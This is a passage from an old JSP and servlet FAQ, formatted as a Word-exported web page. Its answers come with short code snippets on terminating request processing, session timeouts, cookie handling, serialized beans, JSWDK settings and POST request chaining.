<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>HttpSession ses = req.getSession();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>&#8230; </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>return req.getRemoteHost();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>out.print(&#8221;Hi there, I see that you are coming in from<span style="mso-spacerun: yes;">  </span>&#8220;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%= whereFrom(request) %&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691763"><span style="font-size: x-small; font-family: Verdana;">Can I stop JSP execution while in the midst of processing a request?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes. Preemptive termination of request processing on an error condition is a good way to maximize the throughput of a high-volume JSP engine. The trick (asuming Java is your scripting language) is to use the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">return</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> statement when you want to terminate further processing. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">For example, consider: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;% </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>if (request.getParameter(&#8221;foo&#8221;) != null) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>// generate some html or update bean property </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>} else {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>/* output some error message or provide redirection </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>back to the input form after creating a memento </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>bean updated with the &#8216;valid&#8217; form elements that were input.</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>this bean can now be used by the previous form to initialize </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>the input elements that were valid</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>then, return from the body of the _jspService() method to </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>terminate further processing<span style="mso-spacerun: yes;">   </span>*/</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="mso-spacerun: yes;"><span style="font-size: x-small; font-family: Courier New;">  </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">          </span>return;</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691764"><span style="font-size: x-small; font-family: Verdana;">Is there a way I can set the inactivity lease period on a per-session basis?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Typically, a default inactivity lease period for all sessions is set within your JSP engine admin screen or associated properties file. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">However, if your JSP engine supports the Servlet 2.1 API, you can manage the inactivity lease period on a per-session basis. This is done by invoking the HttpSession.setMaxInactiveInterval() method, right after the session has been created. For example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">    </span>session.setMaxInactiveInterval(300);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">would reset the inactivity period for this session to 5 minutes. The inactivity interval is set in seconds.</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691765"><span style="font-size: x-small; font-family: Verdana;">How can I get to view any compilation/parsing errors at the client while developing JSP pages?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">With JSWDK 1.0, set the following servlet initialization property within the \WEB-INF\servlets.properties file for your application: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">jsp.initparams=sendErrToClient=true</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">This will cause any compilation/parsing errors to be sent as part of the response to the client. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691766"><span style="font-size: x-small; font-family: Verdana;">How can I delete a cookie from within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">A cookie, mycookie, can be deleted using the following scriptlet: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>Cookie killMyCookie = new Cookie(&#8221;mycookie&#8221;, null);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>killMyCookie.setMaxAge(0);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>killMyCookie.setPath(&#8221;/&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span><span style="mso-spacerun: yes;">   </span>response.addCookie(killMyCookie);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691767"><span style="font-size: x-small; font-family: Verdana;">How do I set a cookie within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Setting cookies from within a JSP page is similar to the way they are done within servlets. For example, the following scriptlet sets a cookie &#8220;mycookie&#8221; at the client: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">       </span>Cookie mycookie = new Cookie(&#8221;aName&#8221;,&#8221;aValue&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">       </span>response.addCookie(mycookie);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>%&gt;</span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Typically, cookies are set at the beginning of a JSP page, as they are sent out as part of the HTTP headers. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691768"><span style="font-size: x-small; font-family: Verdana;">Can a JSP page instantiate a serialized bean?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">No problem! The useBean action specifies the beanName attribute, which can be used for indicating a serialized bean. For example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:useBean id=&#8221;shop&#8221;<span style="mso-spacerun: yes;">  </span>type=&#8221;shopping.CD&#8221; beanName=&#8221;CD&#8221;<span style="mso-spacerun: yes;">  </span>/&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:getProperty name=&#8221;shop&#8221; property=&#8221;album&#8221; /&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">A couple of important points to note. Although you would have to name your serialized file &#8220;filename.ser&#8221;, you only indicate &#8220;filename&#8221; as the value for the beanName attribute. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Also, you will have to place your serialized file within the WEB-INF\jsp\beans directory for it to be located by the JSP engine. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691769"><span style="font-size: x-small; font-family: Verdana;">Is there a way to reference the &#8220;this&#8221; variable within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes, there is. Under JSP 1.0, the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">page</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> implicit object is equivalent to &#8220;this&#8221;, and returns a reference to the servlet generated by the JSP page. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<p class="MsoBodyText" style="margin: 0in 0in 0pt;"><strong><span style="font-size: x-small; font-family: Verdana;">With Sun&#8217;s JSWDK 1.0, I can access only the class file for the servlet generated from my JSP page. Is there a way to see the Java source for the generated servlets?</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">For Sun&#8217;s JSWDK 1.0, set the initialization parameter: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">jsp.initparams=keepgenerated=true</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">This can be found within the web-inf/servlets.properties file for your application. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">When this is passed to your JSP servlet, it will preserve the Java source along with the class file in the work subdirectory for the engine.</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691770"><span style="font-size: x-small; font-family: Verdana;">Can JSPs and servlets share the same session?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes, of course. Remember, JSPs are always translated into their servlet equivalent before they are initialized and ready to process incoming requests. JSP pages are also provided with the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">session</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> implicit object which allows them to completely manage the session, including its creation and invalidation. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Any bean or object placed by the JSP page into the session can be later used by any other servlet or JSP page belonging to the same session.</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691771"><span style="font-size: x-small; font-family: Verdana;">Show me an example of POST request chaining using JSPs and servlets</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The following code example demonstrates how request chaining can be implemented using a combination of JSPs and servlets. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Consider the following JSP page, say Bean1.jsp, which essentially instantiates the bean fBean, places it in the request, and forwards the call to the servlet JSP2Servlet. Observe the way the bean is instantiated &#8211; here we automatically call the bean&#8217;s setter methods for properties which match the names of the posted form elements, while passing the corrosponding values to the methods. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;html&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;body&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:useBean id=&#8221;fBean&#8221; class=&#8221;govi.FormBean&#8221; scope=&#8221;request&#8221;/&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:setProperty name=&#8221;fBean&#8221; property=&#8221;*&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:forward page=&#8221;/servlet/JSP2Servlet&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;/body&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;/html&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The servlet JSP2Servlet now extracts the bean passed to it from the request, makes changes using the appropriate setters, and forwards the call to another JSP page Bean2.jsp using a request dispatcher. Note that this servlet, acting as a controller, can also place additional beans if necessary, within the request. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">public void doPost (HttpServletRequest request,</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">       </span>HttpServletResponse response) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">try {</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">    </span>FormBean f = (FormBean) request.getAttribute (&#8221;fBean&#8221;); </span></span></p>
